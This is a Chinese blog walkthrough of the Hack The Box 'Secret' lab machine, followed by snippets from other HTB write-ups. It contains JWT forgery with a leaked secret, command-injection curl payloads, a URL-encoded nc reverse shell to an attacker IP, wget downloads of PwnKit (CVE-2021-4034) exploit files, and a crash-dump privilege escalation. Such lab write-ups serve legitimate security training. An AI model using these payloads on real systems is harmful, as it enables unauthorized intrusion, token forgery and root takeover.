代码编织梦想

目录

一 渗透测试

(一)信息收集

1 端口扫描

2 组件框架

3 子域/目录扫描

4 api

(二)漏洞发现

1 命令注入漏洞

(三) 提权

1 SUID本地文件提权(1)

2 SUID_pkexec提权(2)

二 知识点

(一)Git源码文件提取

(二)JWT验证机制

(三)Linux程序崩溃文件处理

(四)SUID_pkexec提权

前言

JWT

Token:计算机身份认证中是令牌(临时)的意思,在一些数据传输之前,要先进行客户端携带由服务端颁发的token的核对,不同的toke被授权不同的数据操作。

JWT: JSON Web Tokens令牌是一种开放的行业标准RFC 7519方法,用于安全地表示双方之间的声明。JWT的本质就是一个字符串,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。

pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。

一 渗透测试

(一)信息收集

1 端口扫描

 目标服务器开放22/80/3000端口

2 组件框架

 

 在网页底部发现网站源代码。

3 子域/目录扫描

 发现/api和/docs目录

4 api

可对/api进行目录扫描,访问/docs时发现该开源项目的注册到认证登录的过程均有描述。这是一个基于API的身份验证系统。我们正在使用JWT令牌使事情更加安全。为了存储我们正在使用的mongodb用户数据,您可以在这里找到一个api工作原理的演示,这是一个非常安全的身份验证系统,可以很好地完成文档(有时公司会隐藏端点),但我们的代码是公开的。

 发现

注册api:/api/user/register

登录api:/api/user/login

Token权限校验api:/api/priv

(二)漏洞发现

1 命令注入漏洞

下载收集到的源码是一个开源项目,存在git文件泄露。使用extractor.sh对文件进行提取。

#./extractor.sh /root/桌面/app/hackbox/Secret/local-web/ dump

对文件进行了6次提取。

1.1 注册用户

根据提示注册用户

#curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120:3000/api/user/register --data '{"name": "revenger","email": "revenger@htb.com","password": "*"}'

 

1.2 登录

#curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120:3000/api/user/login --data '{"email": "revenger@htb.com","password": "qwerty123"}'

 

1.3 验证token

#curl http://10.10.11.120:3000/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoicmV2ZW5nZXIiLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9._qtFTVuE7XvCYgp79CbAUzpHA9a7kC1VW1tIAxTF1D8'

 有回显可知是一个普通用户权限。

1.4 获取web_admin权限

查看提取的源码文件private.js可知当name==theadadmin时权限为admin。

 

构造admin权限token,查看verifytoken.js可知token的通过jwt生成。使用jwt在线token形成,将name更改为theadadmin;添加token_secret的值即可形成。

其中token_secre可翻阅文件提取中有一个名2-开头的文件里.env文件拿到。

 获取管理员token。

校验token权限,获取到admin权限。

 

1.5 private.js源码命令注入漏洞

在private.js源码发现/api/logs一处命令注入漏洞。

 

命令注入漏洞测试

#curl 'http://10.10.11.120:3000/api/logs?file=123;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'

 确定存在命令注入漏洞。

1.6 获取user.flag

#curl -v 'http://10.10.11.120:3000/api/logs?file=123;cat+/home/dasith/user.txt' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'

 

1.7 反弹shell

使用nc反弹shell_payload:

#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 9999 >/tmp/f

#  curl -v 'http://10.10.11.120:3000/api/logs?file=123;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.3%209999%20%3E%2Ftmp%2Ff' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'

 

(三)提权

获取交互式shell

#python3 -c "import pty;pty.spawn('/bin/bash')";

suid文件收集

#find / -perm -u=s -type f 2>/dev/null

 发现count/pkexec文件均具有suid权限

1 SUID本地文件提权(1)

1.1 count文件分析

查看count源码文件发现通过设置prctl(PR_SET_DUMPABLE, 1);,可造成count执行崩溃。Linux崩溃创建一些文件/var/crash/,使用kdump工具或apport-unpack(从崩溃报告中提取核心转储文件)处理文件可查看详细信息。其中包括我们利用count执行的查看root_flag信息。

 

1.2 制造count执行崩溃

当前shell1执行count,如下,当选择save results a file “y”后在触发一个shell2,查找count进程kill掉,则shell1下count执行终止。

 

1.3获取程序崩溃文件

程序崩溃时会在中创建一些文件/var/crash/

 

# mkdir /tmp/test

apport-unpack提取奔溃文件并转存/test,其中 CoreDump即可查看详细信息。

#apport-unpack /var/crash/_opt_count.1000.crash /tmp/test

字符形式输出文件

#strings CoreDump

 

2 SUID_pkexec提权(2)

pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。存在很多系统版本的 pkexec 没有正确处理调用参数的个数,并最终试图将环境变量作为命令执行,从而诱导 pkexec 执行任意代码。

提权漏洞cve-2021-4034。

 pkexec具有suid权限。

2.1 上传exp文件

 #wget 10.10.16.3:9998/cve-2021-4034.c

#wget 10.10.16.3:9998/Makefile

#wget 10.10.16.3:9998/pwnkit.c

2.2 执行提权命令

#make

#.cve-2021-4034

 成功拿到root权限。

二 知识点

(一)Git源码文件提取

extractor.sh对文件进行提取。

#./extractor.sh /root/桌面/app/hackbox/Secret/local-web/ dump

(二)JWT验证机制

JWT: JSON Web Tokens令牌是一种开放的行业标准RFC 7519方法,用于安全地表示双方之间的声明。JWT的本质就是一个字符串,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。

(三)Linux程序崩溃文件处理

1 程序崩溃在/var/crash创建崩溃文件

2 apport-unpack提取奔溃文件并转存/test,其中 CoreDump即可查看详细信息。

#apport-unpack /var/crash/_opt_count.1000.crash /tmp/test

3 字符形式输出文件

#strings CoreDump

(四)SUID_pkexec提权

pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。存在很多系统版本的 pkexec 没有正确处理调用参数的个数,并最终试图将环境变量作为命令执行。可以理解为当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_44193247/article/details/127155049

HTB(hack the box) Lernaean-爱代码爱编程

HTB(hack the box) Lernaean 接着上一次的。 题目: 提示: 你的目标不是很擅长电脑。试着猜猜他们的密码,看看他们是否隐藏了什么! 打开网页: 不就是暴力破解密码么。使用hydra来破解。 hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 64 docker.hack

HTB靶机渗透-爱代码爱编程

信息收集 这里可以先设置一下hosts文件 10.10.10.168 obscure.htb 扫描端口发现开放了 8080 的web端口 页面提示有一个源码泄露 Message to server devs: the current source code for the web server is in 'SuperSecureServer.

HTB之ServMon-爱代码爱编程

扫描主机开放端口 sudo nmap -sC -sV -sS 10.10.10.184 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-18 02:32 EDT Nmap scan report for 10.10.10.184 Host is up (0.35s latency). N

HTB靶场系列 linux靶机 Poison靶机-爱代码爱编程

勘探 nmap -sCV 10.10.10.84 Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-07 19:26 EDT Nmap scan report for 10.10.10.84 Host is up (0.018s latency). Not shown: 998 closed ports

HTB靶场系列 linux靶机 Nineveh靶机-爱代码爱编程

勘探 nmap勘探 nmap -sC -sV 10.10.10.43 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 16:22 CST Nmap scan report for 10.10.10.43 Host is up (0.36s latency). Not s

Secret-爱代码爱编程

信息收集 发现目标主机开放了web服务和ssh服务 我们访问web服务,发现是一个普通的网站 探测路径并没有发现任何有价值的信息,我们将源码下载下来进行代码审计。在routes文件夹下,有4个js文件 我们查看一下auth.js文件 const router = require('express').Router(); const User = re

HTB-oscplike-valentine+poison+sunday-爱代码爱编程

HTB-oscplike-valentine+poison+sunday Valentine easy难度的Valentine 靶机IP 10.10.10.79 sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.79 22/tcp open ssh OpenSSH 5.9p1 Debian 5

HTB-oscplike-Bounty+Jerry+Conceal-爱代码爱编程

HTB-oscplike-Bounty+Jerry+Conceal Bounty easy难度的bounty 靶机IP 10.10.10.93 sudo nmap -sS -sV -A -p- --min-rate=5000 -Pn 10.10.10.93 80/tcp open http Microsoft IIS httpd 7.5 进去就一张图

废物的靶场日记 hackthebox-Secret-爱代码爱编程

废物靶场日记 hackthebox-Secret 最近在家嗯吃嗯造无所事事 废物的身份已经在家里呼之欲出了 于是决定在家人常出没时间段打打htb假装学习 以保持在家吃拿卡要的丰厚待遇 也是第一次玩htb 今天先整一个简单的试试手 前渗透 靶机IP 10.10.11.120 首先信息收集随便扫扫 nmap -sV -A 10.10.11.120 PO

[Hack The Box] HTB—Bolt walkthrough-爱代码爱编程

[Hack The Box] HTB—Bolt walkthrough 咕咕咕咕咕,咕到retired我就可以抄walkthrough了 HTB—Bolt [Hack The Box] HTB—Bolt walkthrough一、信息搜集1.端口2.vhosts二、网站渗透1.docker分析2.源码审计3.SSTI三、提权1.找密码登陆eddie

[Hack The Box] HTB—Paper walkthrough-爱代码爱编程

[Hack The Box] HTB—Paper walkthrough HTB—Paper [Hack The Box] HTB—Paper walkthrough一、信息搜集X-Backend-Server二、网站渗透bot leads to LFI三、提权 一、信息搜集 namp nmap -sV 10.10.11.143 POR

[Hack The Box] HTB—Secret walkthrough-爱代码爱编程

[Hack The Box] HTB—Secret walkthrough machine :Hack The Box—Secret HTB—Secret [Hack The Box] HTB—Secret walkthrough一、信息搜集二、网站渗透1.jwt伪造2.命令执行3.写入ssh公钥三、提权 一、信息搜集 nmap n

[Hack The Box] HTB—Challenges—forensics—Illumination writeup-爱代码爱编程

[Hack The Box] HTB—Challenges—forensics—Illumination writeup DESCRIPTION: A Junior Developer just switched to a new source control platform. Can you find the secret token?附件:

[HTB]HackTheBox-Easy-Secret国外渗透实战靶场-爱代码爱编程

🧟无风祭酒🧟 小医救人😈大医济世 ☣️先礼后兵☢️ 👻 警 👻 📰Majority Papers为笔者学习所整理的内容,本意希望借此知识输出方式达到筑牢基础的效用。如若有不足之处,还望大哥哥海涵。🧱向值得学习的人学习,向前辈们致敬! 🌑🌕暗黑模式,解锁加倍沉浸式阅读快乐🥤 Wechat 公众号:acesec 江湖追杀令

HTB-oscplike-Object-爱代码爱编程

HTB-oscplike-Object hard难度的object 靶机IP 10.10.11.132 也不知道是这个靶机出的晚刚加上还是很多人oscplike机器打不到这最后一台 这台总共就一百来个人通了 sudo nmap -sC -sV -A -p- --min-rate=1000 -Pn 10.10.11.132 80/tcp open htt

htb-爱代码爱编程

HTB-oscplike-Buff+Servmon 终于把论文初版写好了 恁妈这老师死命催 交了又拖着不给我改 那催勾八呢 好几天没打了 这两天先康复训练一下 Buff easy难度的buff 靶机IP 10.10.1

htb-爱代码爱编程

第一步:枚举 nmap进行扫描 nmap -Pn -sF -sV -sC -A 10.10.11.137 └─# nmap -A 10.10.10.46 Starting Nmap 7.92 ( https://nmap

htb-爱代码爱编程

HTB-Poison 信息收集开机root 信息收集 可以看到有几个脚本文件可以查看。 并且用listfiles.php可以看到更多文件。 这个pwdbackup.txt文件有点意思,这底